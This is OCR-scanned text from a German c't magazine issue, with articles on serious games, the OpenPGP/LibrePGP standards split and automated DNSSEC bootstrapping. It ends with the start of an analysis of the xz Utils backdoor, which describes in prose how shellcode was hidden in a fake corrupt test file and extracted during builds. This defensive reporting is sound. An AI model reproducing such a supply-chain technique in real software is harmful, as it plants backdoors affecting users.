miteinander verwobenen Schicksale von
vier sehr unterschiedlichen Einzelperso-
nen.

Ganz im Stil eines Point-&-Click-Ad-
ventures wiederum setzen sich die Ehe-
leute Ryan und Amy Green von Numinous
Games in ihrem Spiel That Dragon, Cancer
mitdem Krebstod ihres jungen Sohnes Joel
auseinander. Im Spiel teilt man die Erfah-
rungen der Familie Green mit Joels Krank-
heit von ihrer Entdeckung bis zu seinem
Tod in einer Reihe von abstrakt dargestell-

Free Lives, terranil.com Numinous Games,

thatdragoncancer.com

Paintbucket Games,
paintbucket.de/de/game/

Bild: Paintbucket Games

ten Szenen, die die Hilflosigkeit angesichts
der Krankheit verdeutlichen.

Es kann eben nicht alles Spaf3 und
Luftballons sein: ,,Serious Games konnen
definitivauch Themen behandeln, die sich
von dem Eskapismus der typischen Spiele
entfernen und uns den Horror des Alltags
prasentieren”, bestitigt Jonas Zimmer.
Doch anders als in der Realitat kann man
im Spiel leichter einen Umgang damit fin-
den. Das Thema behandeln konnen zwar
auch Filme, doch Zimmer sieht einen kla-
ren Vorteil bei Spielen: ,,Der Unterschied
zwischen Film und Spiel ist, dass der Film
automatisch weiterlduft, wiahrend manim
Spiel selbstbestimmt agiert und auch ein-
fach mal innehalten kann, um sich Gedan-
ken iiber eine Entscheidung zu machen.”

Wie entstehen Serious Games?

Die Entwicklung von Serious Games lauft
inaller Regel anders ab alsin der reguliren
Spieleindustrie. Meist handelt es sich um
Auftragsarbeiten, und zwar nicht fiir Pub-
lisher wie Microsoft, Nintendo oder Elec-
tronic Arts, sondern fiir Universititen,
Bundesbehorden oder Industrieunterneh-
men. Dasresultierende Spiel steht oft kos-

Paintbucket Games,
paintbucket.de/de/game/

Serious Games | Wissen

~Through The Darkest of Times" transportiert die diistere
Geschichte des Nationalsozialismus mit den Mechaniken
eines Strategiespiels.

tenlos bereit, daher sind die Budgets deut-
lich geringer als bei den Schwergewichten
der Spieleindustrie, in der moderne Spiele-
entwicklungen auch mehrere hundert
Millionen US-Dollar kosten konnen. Laut
Hendrik Rump liegen die Budgets, mit
denen er und sein Team ihre Spiele ent-
wickeln, im Normalfall zwischen 50.000
und 150.000 Euro. Dafiir kann man natiir-
lich kein neues ,,Call of Duty“ aus dem
Boden stampfen. Viele Serious Games
entstehen in sechs bisneun Monaten, ent-
wickelt von drei- bis sechskdpfigen Teams.
Das funktioniert nur, weil auf die Entwick-
lung eigener Technologie verzichtet wird
und bewéhrte Engines wie Unity oder Un-
real zum Einsatz kommen. Sie sind sofort
einsatzbereit, verursachen keine zusitz-
lichen Kosten und sind ebenso bediener-
freundlich wie inhaltlich flexibel.

Das erinnert stark an den Indie-Sek-
tor, aber es gibt auch Ausnahmen. Hendrik
Rump berichtet von einem grofden Indus-
trieprojekt, an dem sein Team mehrere
Jahre gearbeitet hat, das aber auch tiber
ein entsprechend iippiges, siebenstelliges
Budget verfligte. Und an ,Welten der
Werkstoffe” haben Jonas Zimmer und sein

-m That Dragon, Cancer The Darkest Files Through the Darkest of Valiant Hearts: The Great Welten der Werkstoffe
Times War

Ubisoft Montpellier, ubisoft.
com/de-DE/gamey/valiant-

Quantumfrog, vocabicar.de  Cologne Game Lab, TH Kéln,

welt-der-werkstoffe.de

the-darkest-files through-the-darkest-of-times | hearts

Strategiespiel Point-&-Click-Adventure Rétselspiel Strategiespiel Puzzle / Adventure Arcade-Rennspiel Point-&-Click-Adventure
Renaturierung dder Land- Krebstod eines Kindes Aufarbeitung von Geschichte des National- Geschichte des 1. Weltkriegs ~ Englisch-Vokabeln filr die Grundlagenwissen der
schaften in verschiedenen Naziverbrechen sozialismus von 1933 bis Klassen 3 bis 6 Werkstofftechnik
Biomen 1945
Linux, mac0S, Windows ab 7, ' Linux, mac0S, Windows ab 7, - mac0S, Windows ab 10 mac0S, Windows ab 7, Windows ab 7, Nintendo Android, i0S Webbrowser
Netflix, Nintendo Switch Android, i0S, Steam Deck Nintendo Switch, PlayStation = Switch, PlayStation 4, Xbox

4, Xbox One/Series X/S, One

Android, i0S
24,99 € 5,99 €-9,99 € je nach noch nicht erschienen, 7,99 €-14,99 € je nach 14,99 € kostenlos, In-App-Kéufe kostenlos
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Im sozialkritischen Spiel ,,Papers, Please” entscheidet der
Grenzbeamte liber Einreise oder Ablehnung und darf dabei

keine Fehler machen.

Team etwa zweieinhalb Jahre gearbeitet,
da die hinter dem Spiel stehende Thema-
tik so komplex war.

Der Entwicklungsaufwand fiir Serious
Games ist also mit dem anderer Compu-
ter- und Videospiele vergleichbar. Genau
genommen ist er sogar gerne auch mal
grofer, weil neben dem Spielspafd auch
piadagogische Uberlegungen eine Rolle
spielen miissen. ,,Man kann nicht einfach
ein Casual Game entwickeln und sagen,
ihrkonnt hier etwaslernen, so, dasistjetzt
ein Serious Game®, erklart Jonas Zimmer.
»Damit Serious Games funktionieren,
missen Spieldesign und Lerninhalt eng
miteinander verwoben sein. Das ist eine
doppelte Herausforderung.”

Anders ausgedriickt: Mit Serious
Games wird man nicht reich. Das diirfte
auch der wichtigste Grund dafiir sein, dass
grofde Publisher das Genre meist meiden.
Ein paar seltene Ausreifer gibt es aber
doch: Ubisoft zum Beispiel hat die neu-
esten Spiele der Assassin’s Creed-Serie
um den gewaltfreien Spielmodus Disco-
very Tour erweitert, der auch separat er-
haltlich ist. In von Experten kuratierten
Wanderungen durch das antike Griechen-

Bild: Numinous Games

Mit ,That Dragon, Cancer” haben die Eheleute Green
ihrem an Krebs verstorbenen Sohn Joel ein Denkmal
gesetzt.
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Spiel nebenbei.

land, Agypten oder das 9. Jahrhundert der
Wikinger und Angelsachsen schliipft man
wie in einem Rollenspiel ohne Gegner in
die Schuhe einer Person und folgt deren
Werdegang. So lernt man ganz nebenbei
viel iiber Kultur und Geschichte dieser
Epochen, die im normalen Spiel meist nur
als schone Kulisse dienen.

Die Zukunft der Serious Games

Serious Games sprechen Themen an, an
die sich fiir den Massenmarkt konzipierte
Titel nur selten herantrauen. Und sie ver-
binden das Angenehme mit dem Niitzli-
chen, den Spafd mit dem Lernen. Wer sich
einen Uberblick verschaffen mochte,
kann beim Deutschen Computerspielpreis
anfangen, der alljdhrlich aus mehreren
Nominierten das beste Serious Game
auszeichnet. Gewinn und Nominierung
fiir diesen Preis sind nicht nur wegen
des Preisgelds interessant, wie uns alle
Gesprichspartner bestitigt haben. Die
zusitzliche Aufmerksamkeit kann auch
weitere Auftrige einbringen. Und nicht
zuletzt ist da die Genugtuung, etwas von
Wert erschaffen zuhaben, an dem andere
Menschen Freude haben.

Bild: Ubisoft

Die in ,Valiant Hearts: The Great War" einge-
betteten historischen Fakten vermittelt das

Das Genre wichst jedenfalls weiter
und mit der zunehmenden Digitalisie-
rung des Unterrichts diirften auch die
Einsatzbereiche wachsen. Felix Falk sieht
auch im Massenmarkt noch Potenzial:
»Das Wachstum der Serious Games
macht den Markt auch fiir grofde Games-
Unternehmen attraktiv und auch in Zu-
kunft werden wir sicherlich immer mehr
AAA-Titel mit Elementen von Serious
Games sehen, die Spiele iiber den reinen
Unterhaltungsaspekt hinaus zusitzlich
bereichern.”

Vielleicht konnen Serious Games ihr
Nischendasein schon bald hinter sich las-
sen und fortan das sein, was sie schon
immer waren: Games. Nur eben mit leicht
komplexeren Themen als ,,Raketenwerfer +
Diamon = Flatsch!*. (Imd@ct.de) ¢t
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Mit den Discovery-Tour-Ausgaben der Assassin’s-Creed-Reihe
spazieren Sie durchs antike Griechenland oder Agypten oder

lernen die Wikingerkultur kennen.
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IT-Sicherheitstag Dortmund

Sicherheitsvorfalle im Fokus:
Pravention, Reaktion und Management

Der IT-Sicherheitstag der heise academy und der Fachhochschule
Dortmund fokussiert sich auf das Thema IT-Sicherheitsvorfalle. Sie
lernen, wie Sie im Angriffsfall schnell und strukturiert handeln, aber
auch bereits im Vorfeld praventive MaRnahmen ergreifen kénnen.

Die Themen der Konferenz

+ Analyse von IT-Sicherheitsvorfallen und Praventionsstrategien
+ Demonstration eines Hackerangriffs
Unser Partner « Digitale Forensik in virtuellen Umgebungen
G + Bedeutung und Nutzen von Incident Response Dienstleistungen
T Aa go n Erfahrungsbericht eines realen Sicherheitsvorfalls

Jetzt Frithbucher-Tickets sichern: EgE
konferenzen.heise.de/it-sicherheitstag
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OpenPGP im Umbruch

Neue Implementierungen, bessere Standards

und ein groBer Streit

Die OpenPGP-Community
arbeitet mit viel Elan daran,
verschliisselte und signierte
E-Mails zu modernisieren. Aller-
dings haben wichtige Akteure
die Arbeitsgruppe im Streit
verlassen, weshalb nun an zwei
zueinander inkompatiblen
Standards gearbeitet wird.

Von Keywan Tonekaboni
und Sylvester Tremmel

-Mails sind lesbar wie Postkarten, wes-

halb man sie verschliisseln sollte, am
besten Ende-zu-Ende. Das Mittel der
Wabhl dafiirist hiufig OpenPGP, unter an-
derem, weil OpenPGP-Nutzer sich keine
(kostenpflichtigen) Zertifikate besorgen
miissen, wie es die Alternative S/MIME
erfordert.

OpenPGP geht zwar auf Phil Zimmer-
manns Programm Pretty Good Privacy
(PGP) aus den frithen Neunzigerjahren
zuriick, war jahrzehntelang aber mit
einem anderen Programm weitgehend
synonym, dem GNU Privacy Guard
(GnuPG) von Werner Koch. Egal ob man
Outlook mit gpg4win, Thunderbird mit
Enigmail oder einen Linux-Mailer wie
Evolution oder KMail nutzte: Die eigent-
liche Arbeit verrichtete immer GnuPG, das
quasi eine Referenzimplementierung von
OpenPGP darstellte.

Das System weiterzuentwickeln ge-
staltete sich dennoch vergleichsweise zéh,
obgleich es genug zu tun gibt: E-Mail-Ver-
schliisselung mit OpenPGP hat zahlreiche
Probleme [1], von alternder oder sogar
veralteter Kryptografie iiber kaum vor-
handenen Schutz von Metadaten bis zu
massiven Defiziten beim Schlissel-
management. Die in der Vergangenheit
iiblichen SKS-Schliisselserver haben Da-
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tenschutzprobleme (was sie auch in Kon-
flikt mit der DSGVO bringt) und sind vor
allem fiir SPAM-Attacken anfillig. Zwi-
schenzeitlich konnten vollgespammte
Schliissel GnuPG sogar unbenutzbar
machen, was der Idee der Schliisselveri-
fizierung iiber ein Web-of-Trust einen
herben Schlag verpasst hat.

Flir Verbesserungen in diesen und
anderen Bereichen miissen aber neben der
OpenPGP-Implementierung oft auch
Mailclients, Schliisselserver oder Mailser-
ver mehrheitlich mitspielen, damit sich
eine Anderung durchsetzen kann. Ent-
sprechend langsam schreitet das Oko-
system voran; die aktuelle Version des
OpenPGP-Standards (IETF-RFC 4880)
stammt von 2007.

Viel in Bewegung

Doch so zahlreich die Probleme der Mail-
verschliisselung mit OpenPGP, so viel-
zahlig sind auch die Losungsansitze:
Mailclients versuchen Metadaten wie den
Betreff zu schiitzen und tauschen Schliis-
sel tiber sogenannte Autocrypt-Header
aus. Der zentrale Schliisselserver keys.
openpgp.org ignoriert das Web-of-Trust

und verifiziert Schliissel iiber Testmails.
»Web Key Directories” (WKD) und der
moderne synchronisierende Schliissel-
server Hockeypuck versuchen, das Web-
of-Trust wiederzubeleben; das SPAM-
Problem sollen Ideen wie , First-Party
Approved Third-Party Certifications”
l6sen. Nicht zuletzt wird auch an den
Datenformaten von OpenPGP gefeilt,um
Fehler zu beheben und solche Verbesse-
rungen einzubauen.

Diese Entwicklungen haben aller-
dings auch das Gleichgewichtin der Com-
munity verschoben, GnuPG hat nicht
mehr die frither herausragende Stellung
inne. Projekte setzen stattdessen auf Se-
quoia PGP, GopenPGP, OpenPGP.js, rpgp
und andere Implementierungen. Der auf-
grund seiner grofden Verbreitung wichtige
Mailclient Thunderbird setzt ebenfalls
nicht mehr auf GnuPG: Als das Programm
von der Plug-in-Losung Enigmail auf eine
integrierte OpenPGP-Unterstiitzung
wechselte, tauschte es auch die zugrunde-
liegende Implementierung und nutzt seit-
her die Bibliothek RNP [2].

Damit diese neuen Ideen und die Di-
versifizierung der Implementierungen

oo oM
draft-koch-openpgp-ric4880bss
drafi-let-openpgp-ric4880bis

draft-ietf-openpgp-cryplo-refresh

Email expansions History

“ r ’ Datatracker Sign in

OpenPGP

draft-ietf-openpgp-crypto-refresh-13
Status |ESG evaluation record IESG writeups

Versions:

Drei Dokumente von verschiedenen Autoren, neun Jahre Genese,
insgesamt 25 Versionen: Der kommende OpenPGP-Standard hat

eine wechselvolle Geschichte.
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nicht mit undurchsichtigen Inkompatibi-
litaten einhergehen, muss der OpenPGP-
Standard selbst aktualisiert werden. Denn
Schliissel, die ein Client nicht findet oder
nicht versteht, und eingehende Nachrich-
ten, die man nicht entschliisseln kann,
sorgen leicht fiir viel Frust.

Folgerichtig arbeitet eine Working
Group (WG) der Standardisierungsorga-
nisation ,Internet Engineering Task
Force” (IETF) seit 2015 an einem neuen
Standard, der RFC 4880 abldsen soll.
Dabei knirschte es immer wieder erheb-
lich: Die WG wurde zwischenzeitlich auf-
gelost, wieder neu gegriindet und hat ins-
gesamt eine recht holprige Geschichte.
Neben Richtungsstreitigkeiten spielen
dabei auch personliche Animosititen
zwischen GnuPG-Schopfer Werner Koch
und einigen Entwicklern bei anderen
OpenPGP-Projekten eine Rolle. Dass
GnuPG sich nach langer Dominanz mit
einer Vielzahl von anderen OpenPGP-Im-
plementierungen arrangieren muss, aber
immer noch auf eine sehr grofle Zahl an
Endnutzern verweisen kann, erleichterte
die Konsensfindung ebenfalls nicht.

LibrePGP

Letztlich kam es zum Bruch. Offenbar ging
das GnuPG-Projekt, mafigeblich Werner
Koch, davon aus, dass die WG im Wesent-
lichen einen Konsens fiir den neuen Stan-
dard erreicht habe und fing an, diesen in
GnuPG zu implementieren. Die anderen
Mitglieder der Arbeitsgruppe sahen das
anders. Sie entwickelten den Standard
weiter, inklusive diverser Anderungen und
Erweiterungen, mit denen Werner Koch
nicht einverstanden war: Beispielsweise
will die IETF-WG den Galois/Counter
Mode (GCM) fiir Blockchiffren erlauben,
und zwar zusdtzlich zum verpflichtenden
Modus OCB (Offset Codebook) und dem
zur Abwirtskompatibilitdt erlaubten
Modus EAX (steht fiir ,,encrypt then aut-
henticate then translate®). Daftir spricht,
dass sich GCM einer weiten Verbreitung
erfreut, beispielsweise in Webbrowsern,
und es besonders schnelle Implementie-
rungen fiir den Modus gibt. AuSerdem hat
das US-amerikanische National Institute
of Standards and Technology (NIST) GCM
als Standard definiert, im Unterschied zu
OCB. Dagegen spricht, dass GCM schwie-
rig fehlerfrei zu implementieren ist und
neue Modidie Komplexitat des Standards
vergrofiern.

Viel schwerer als solche technischen
Streitigkeiten wiegt jedoch, dass die

c't 2024, Heft 17
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produktive Kommunikation zwischen
GnuPG und der IETF-WG weitgehend
zum Erliegen kam. Im September 2022
publizierte Koch dann einen alternativen
Vorschlag fiir den Standard, der weit-
gehend dem von ihm angenommenen
Konsens entspricht und an dem sich von
nun an GnuPG orientierte. Das war ein
durchausrabiater Schritt, unter anderem,
weil Kochs Dokument neue Formate fiir
verschiedene OpenPGP-Paketarten mit
Versionsnummer 5 definiert. Auch die
IETF-Arbeitsgruppe definiert in ihrem
Standard neue Paketformate und dekla-
rierte notgedrungen ihre Versionsnum-
mer von 5 zu 6 um, damit die beiden An-
sdtze zumindest nicht die gleiche Ver-
sionsnummer fiir unterschiedliche Paket-
formate nutzen.

In einer grofderen Diskussion nach
der Verdffentlichung von Kochs Stan-
dardvorschlag entschied sich die WG,
weiter an ihrer Version des Standards zu
arbeiten - mit breiter Riickendeckung aus
der weiteren Community, unter anderem
von PGP-Erfinder Phil Zimmermann.
Einige Linux-Distributionen patchen die
von ihnen ausgelieferten GnuPG-Pakete,
damit sie moglichst keine zu OpenPGP
inkompatiblen Erweiterungen aus Kochs
Ansatz nutzen. Koch dagegen erhilt Un-
terstlitzung von Ronald Tse, der hinter
der von Thunderbird genutzten RNP-
Bibliothek steht. Ende November 2023
benannte Koch seine Version des Stan-
dards in ,,LibrePGP“ um. Seither steht
LibrePGP (auch ,,v5“ genannt) gegenden
werdenden OpenPGP-Standard (,,crypto
refresh” oder ,,v6“).

Diversen Vermittlungsversuchen zum
Trotz haben sich die Griaben eher noch
weiter vertieft und auch technisch diirften
sich die Standards zunehmend auseinan-
der entwickeln. Sowohl die WG als auch
das Umfeld von Werner Koch arbeiten
etwa daran, Algorithmen der Post-
Quantum-Kryptographie zu integrieren,

OpenPGP | Wissen

Die Logos von
OpenPGP (links)
und LibrePGP
(rechts). Man
muss leider
bezweifeln,
dass die Projek-
te wieder zusa-
mmenfinden.

allerdings voraussichtlich nicht auf gleiche
Weise.

Fazit

Wenn sich langfristig wirklich zweiinkom-
patible PGP-Standards etablieren, diirfte
dasohnehin von vielen Problemen geplag-
te Okosystem massiv darunter leiden. Der
Wechsel auf einen neuen PGP-Standard
ist schwierig genug zu orchestrieren,
schlief8lich updaten Nutzer zu unter-
schiedlichen Zeitpunkten, miissen mit-
unter auch uralte gespeicherte Mailsnoch
entschliisseln, wollen neue Features bald
inihrer Korrespondenz nutzen und schrei-
ben Nachrichten durchaus auch an meh-
rere Empfinger, die schlimmstenfalls alle
unterschiedliche Implementierungen
(GnuPG, RNP, Sequioa, OpenPGP;js, ...)
und Versionen verwenden. Wenn diese
dann auch noch auf zwei konkurrierende
Standards wechseln, diirfte das kaum
ohne grofiere Probleme einhergehen.
Noch dieses Jahr diirfte der Crypto-
Refresh offiziell zum IETF-Standard wer-
den (voraussichtlich RFC 9580) und RFC
4880 damit offiziell veralten. Spatestens
dann missen sich auch mafdgebliche
Behorden fiir IT-Sicherheit fragen, wel-
chen der beiden Nachfolgestandards -
oder gar beide - sie empfehlen wollen. Auf
Anfrage von c’t erkldrte das deutsche
Bundesamt fiir Sicherheit in der Informa-
tionstechnik (BSI), dass aktuell noch nicht
absehbar sei, ,,ob Empfehlungen des BSI
und die Zulassung von IT-Sicherheitspro-
dukten aufgrund der Entwicklung bei
OpenPGP/LibrePGP in Zukunft ange-
passt werden®. (syt@ct.de) ct
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Autonomes Besiegeln

DNS-Sicherheit: Automatischer Schutz fiir Jedermann-Domains

Die Sicherheitstechnik DNSSEC
leistet zwar einen wichtigen
Beitrag zum Schutz des Internet-
verkehrs, aber deren Einrich-
tung ist aufwendig, weshalb sie
den weitaus meisten Domains
fehlt. Ein Berliner Team erganzt
nun die DNS-Spezifikation, so-
dass der Schutz automatisch
einflieBen kann.

Von Dusan Zivadinovié

rof3e Teile des Domain Name System

(DNS) sind ungeschiitzt, weshalb An-
greifer mit Techniken wie DNS-Spoofing
oder DNS-Cache-Poisoning den Daten-
verkehr von Surfern manipulieren und
umleiten konnen. Eigentlich sollen DNS-
Server einen PC oder ein Smartphone
dariiber informieren, unter welcher IP-
Adresse sie einen Server wie meine-bank.
de oder mein-nas.de erreichen konnen.
Doch die DNS-Pakete gehen iiberwiegend
ungesichert ibers Internet, sodass Angrei-
fer gefilschte DNS-Antworten einschleu-
sen konnen. So ldsst sich der Verkehr von
Opfernunbemerkt umleiten, um zum Bei-
spiel private Kommunikation mitzulesen
und digitale Identititen oder Vermogen
zu stehlen.

Dagegen helfen die DNS Security Ex-
tensions (DNSSEC) der Internet Enginee-
ring Task Force effizient - wenn man sie
denn auf breiter Front verwenden wiirde.
Dochweil die Einrichtung und der Betrieb
aufwendig sind, installieren die Technik
hauptsachlich die Betreiber der DNS-
Root-Zone und der Top-Level-Domains.

Es gibt allerdings ein ermutigendes
Vorbild: Bevor die Let’s-Encrypt-Initiative
die Armel hochgekrempelt hatte, war die
Verbreitung der HTTPS-Verschliisselung
fiir Webseiten dhnlich liickenhaft. Heute
gilt HTTPS selbst fiir kleinste Domains als
Standard - weil die Let’s-Encrypt-Leute
Software zur leichten Beschaffung und
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Konfiguration von TLS-Zertifikaten ent-
wickelt haben.

Berliner DNS-Security

Bei DNSSEC konnte es dhnlich laufen. Seit
2019 haben die DNS-Spezialisten Peter
Thomassen und Nils Wisiol vom gemein-
niitzigen Berliner Verein und DNS-Hoster
deSEC eine Automatisierungsmethode
entwickelt und weitgehend im Stillen aus-
probiert. Dabei hat sich ein Verfahren
herauskristallisiert, das Thomassen und
Wisiol bei der Internet Engineering Task
Force (IETF) zur Standardisierung einge-
reicht haben. Als Sponsor steckt dahinter
die Berliner IT-Sicherheitsfirma SSE.
Derzeit lauft die Spezifikation unter
der Bezeichnung ,,DNSSEC-Bootstrap-
ping-Protocol“ und definiert, wie sich Do-
mains automatisch per DNSSEC absichern
(signieren) lassen. Eine Domain gilt als
signiert, wenn die tibergeordnete Zone
einen Delegation-Signer-Eintrag (DS-Re-
cord) enthilt. In der Praxis trigt diesen
DS-Record oft der Registrar tiber ein API
beim Betreiber der TLD (Registry) ein.
Manche Registries erledigen das selbst.
DS-Records enthalten einen Hash des
offentlichen Schliissels der untergeordne-
ten Zone. Clients, die DNS-Anfragen aus-
werten, konnen anhand des Hash-Werts

priifen, ob die DNS-Antwort tatsichlich
vom Besitzer der DNS-Zone stammt (ge-
nauer:vom Besitzer des privaten DNSSEC-
Schliissels der DNS-Zone).

Bisher war der Eintrag der DS-Re-
cords ein manueller, fehleranfilliger Pro-
zess und einer Automatisierung standen
unterschiedliche Schnittstellen und For-
mate entgegen. Auch war unklar, wie iiber-
geordnete Systeme automatisch erkennen
konnten, ob erhaltene kryptografische
Parameter authentisch und damit ver-
trauenswiirdig sind.

Thomassen und Mitstreiter wollten
das Rad nicht neu erfinden und setzen
stattdessen auf Teile der DNS-Spezifika-
tion, die seit 2017 fiir den automatisierten
Schliisselwechsel in RFC 8078 beschrie-
ben sind. Das RFC 8078 beschreibt, wie
DNS-Betreiber CDS-Eintrage (Child DS)
inihrer eigenen Zone veroffentlichen und
die libergeordnete Zone diese Eintrige
automatisch abruft und daraus die DS-Re-
cords generiert. Um diese Technik fiir die
automatische Signierung zu nutzen, fehlte
nur ein Mechanismus zur Authentifizie-
rung der Records bei der Ersteinrichtung
von DNSSEC fiir eine Domain.

Dafiir setzen Thomassen und Kollegen
auf eine Methode, die DNS-Hoster langst
nutzen, um ihre eigenen Nameserver-Do-

Attacken auf die DNS-Kommunikation

Weil der GroBteil der DNS-Kommunikation ungeschitzt ablauft, kénnen Angreifer
gefélschte DNS-Informationen einschleusen und Internet-Surfer zum Beispiel auf

praparierte Webseiten umleiten.
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Warum TLS nicht geniigt

Die Schutztechnik DNSSEC stecktin den
DNS-Servern: Sie machen Manipulatio-
nen der DNS-Antworten mittels Signatu-
ren fur Clients sichtbar. Die Signaturen
bescheinigen den DNS-Antworten auch,
dass sie vertrauenswirdig sind. Clients
kéonnen die Signaturen gegenrechnen
(Validierung) und bei Unstimmigkeiten
die DNS-Antwort verwerfen. So bleiben
DNS-Auskinfte weiterhin im Klartext les-
bar, sind aber gegen Falschungen abge-
sichert.

Eine Transportverschlisselung wie
TLS verhindert nur, dass Schnliffler die
Daten auf der Strecke vom Server zum
Nutzer mitlesen. Doch keine Verschlisse-
lung kann verhindern, dass ein per TLS

mains zu signieren, etwa nsl.provider.net.
Dabei gilt nicht nur die Domain nsl.pro-
vider.net als vertrauenswiirdig, sondern
auch das in der zugehdrigen Zone hinter-
legte DNS-Material, denn das signiert der
DNS-Hoster ebenfalls selbst. Die Boots-
trapping-Technik definiert nun, wie DNS-
Hoster diesen Weg zusitzlich nutzen, um
fiir eine neue Domain wie example.com
signiertes Schliisselmaterial zu hinterlegen.

Damit der DNS-Server einer (iiber-
geordneten) Registry oder eines Registrars
erkennt, dass eine Zone frisches DNSSEC-
Material enthilt, erzeugt der (untergeord-
nete) DNS-Hoster eine Subdomainkette,
die er von der neuen, noch unsignierten
Domain example.com ableitet und mitden
beiden Schliisselwortern _dsboot und
_signal einrahmt. Beispiel: _dsboot.
example.com._signal.nsl.provider.net.Ein
iibergeordneter DNS-Server erkennt
einen solchen Namen als Startsignal, liest
den DS-Record fiir example.com aus und
tragt ihn in die .com-Zone ein - fertig ist
die Signatur fiir example.com.

Implementierung

Die IETF hat die Spezifikation bereits ab-
gesegnet. Sie konnte das neue Dokument
ab Juli veroffentlichen. DNS-Admins, die
die Technik ausprobieren mochten, konnen
auf bereits veroffentlichte Serversoftware
zuriickgreifen. Beim DNS-Server Knot
DNSssind die Funktionen als Modul fiir sta-
bile Versionen verfiigbar, bei PowerDNS
wird noch an der Integration gearbeitet.
Erste DNS-Hoster haben das Boot-
strapping implementiert und setzen esim
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kommunizierender DNS-Server (genauer:
Resolver) dem Client falsche Informatio-
nen sendet.

Dennoch ist DNSSEC unter den An-
wenderdomains bisher die gro3e Ausnah-
me. Beispielsweise sind von den rund 155
Millionen .com-Domains laut Erhebungen
des Instituts StatDNS im Juli 2024 nur rund
6,5 Millionen per DNSSEC geschiitzt (rund
4 Prozent, siehe ct.de/ygn5). Von den
Ende Juni registrierten rund 17,7 Millionen
.de-Domains waren lediglich 320.000
DNSSEC-geschiitzt (1,8 Prozent). Die Reihe
lieBe sich beliebig fortsetzen und so
kommt es, dass man nie sicher sein kann,
tatsachlich mit meine-bank.de oder vpn.
firma.de zu kommunizieren.

Regelbetrieb ein. Dazu gehdren neben
deSEC bisher Cloudflare und Glauca
HexDNS. Die Schweizer Registry Switch
hat die Methode fiir die zwei Top-Level-
Domains .ch und .li eingerichtet, auch
arbeiten einige generische Top-Level-Do-
mains (gTLDs) an der Einfithrung. Die fiir
die .de-Domain zustindige DENIC straubt
sich teils noch, denn automatisches

DNS-Sicherheit | Wissen

DNSSEC nimmt nicht nur den Admins
Arbeit ab, sondern erleichtert auch den
Kunden den Domainwechsel und einige
im DENIC organisierte Hoster beflirchten
deshalb Kundenabwanderungen. Doch
umgekehrt konnte die automatische Ab-
sicherung mit DNSSEC auch neue Kunden
anziehen, die bisher woanders gelandet
sind, etwa weil sie bei Billig-Hostern keine
signierten Domains bekamen.

Ausblick

Um die Effizienz des Protokolls zu stei-
gern, arbeiten die Entwickler an Verbes-
serungen. Bisher erfolgt die Verarbeitung
der Records meist durch tagliche Scans
seitens der iibergeordneten Zonen, was zu
viel Datenverkehr fithrt. Zudem ist der
Zeitpunkt der Ubernahme von Anderun-
gen kaum vorhersehbar.

Eine Vereinfachung konnte die Spezi-
fikation ,,Generalized DNS Notifications®
bringen, mit der untergeordnete Zonen
Anderungen an die iibergeordneten Zonen
melden. Dazu ist ein Notify-Mechanismus
geplant. Zusitzlich soll ein neuer DSYNC-
Record eingefithrt werden, der die Benach-
richtigungen enthalt und als Wildcard-Re-
cord flexibel einsetzbarist. (dz@ct.de) c&

DNSSEC Bootstrapping: ct.de/ygn5

Authentifizierte Domainsignatur

Der DNS-Hoster (links) signalisiert mittels einer speziell generierten Subdomain,
dass fir die neue Domain example.com ein Signaturelement vorliegt, das
wiederum schon signiert und damit authentifiziert ist. Der TLD-Betreiber
(rechts) kann so das Element automatisch abholen und in seiner DNS-Zone
publizieren - zack bumm, damit ist die Domain schon signiert und geschtzt.

DNS-Hoster

provider.net.

_signal.ns1.provider.net.

_dsboot.example.com IN CDS
_dsboot.example.com IN CDNSKEY

TLD-Betreiber

com.
example IN DS <=
example.com.
~p @ IN CDs
2 @ IN  CDNSKEY
i
1
1
1
1
1
1
1
1
1
- Registry/Registrar
fur example.com.
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Zundung

Eine Analyse der xz-Hintertiir, Teil 2

Im zweiten Teil unserer Serie zur
Hintertiir in den xz Utils geht es
um das initiale Shellskript. Des-
sen Analyse offenbart den
nachsten Schritt des so aufwen-
dig vorgehenden Angreifers und
entlarvt eine weitere verseuchte
Datei.

Von Sylvester Tremmel
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Der erste Teil dieser Serie hat erklirt,
warum ein Angreifer, der es letztlich
auf OpenSSH abgesehen hat, die Kompri-
mierungswerkzeuge xz Utils ins Visier
nimmt [1]. Im Code-Repository der xz
Utils hatte der Angreifer die Datei bad-
3-corrupt_lzma?2.xz platziert. Dem Namen
nach eine kaputte xz-komprimierte Datei
flir Testzwecke, die in Wahrheit aber Shell-
code des Angreifers enthielt. Geschickt
verschleierte Anweisungenin den Tarballs
des Projekts manipulierten das Build-Sys-
tem und extrahierten diesen Code, wenn
Maintainer ein xz-Paket fir ihre Linux-
Distribution bauten (oder wenn Nutzer die
xz Utils manuell installierten). Wihrend

des Paketbaus wurde der Code dann
von der Standard-Shell des verwendeten
Build-Systems ausgefiihrt. Im Folgenden
soll es darum gehen, was dieser Code
genau tut.

Faule Ausreden

Doch zunichst gilt es noch auf ein wichti-
ges Detail hinzuweisen: Es gibt zwei Ver-
sionen der Datei bad-3-corrupt_lzma2.xz.
Eine urspriingliche, die der Angreifer am
23. Februar 2024 mit dieser Commit-
Nachricht ins Repository stellte: ,,Tests:
Add a few test files. Am 9. Mérz aktuali-
sierte er die Datei dann, um einige Ver-
besserungen - aus Angreifersicht - einzu-
fithren und Probleme zu beheben. Dieser
Artikel zeigt die zweite Version der Datei,
weist aber auf Veranderungen gegeniiber
der urspriinglichen Version hin.

Fiir den Angreifer stellte es ein ziem-
liches Risiko dar, ein Update fiir eine an-
geblich ohnehin kaputte Datei einzupfle-
gen. Warum sollte man so etwas tun? Die
Nachricht im zweiten Commit priasentiert
eine ziemlich gute Erklarung: ,,The origi-
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nal files were generated with random local
to my machine. To better reproduce these
filesin the future, a constant seed wasused
to recreate these files.“ Der Angreifer im-
pliziert also, dass der Inhalt der angeblich
kaputten Datei aus einem Pseudozufalls-
zahlengenerator (Pseudorandom number
generator, PRNG) stammt. Wie in [1] er-
Kklart, ware es in der Tat wiinschenswert,
wenn solche Dateien deterministisch
generiert wiirden,
damit alle Welt
ihren Inhalt repro-
duzieren kann.
Einen PRNG mit
einem festen Start-
wert (Seed) zu ini-
tialisieren, erlaubt so eine Reproduktion.

So gut die Geschichte klingt, sie war
natiirlich eine Ausrede: In Wahrheit ent-
hilt die Datei keine Zufallsdaten und ein
fester PRNG-Seed hilft wenig, wenn man
ihn nicht auch dokumentiert. Allzu oft
kommt man mit solchen Vorwéanden nicht
durch, was auch der Angreifer wusste. Er
nutzte daher das Update, um seiner Hin-
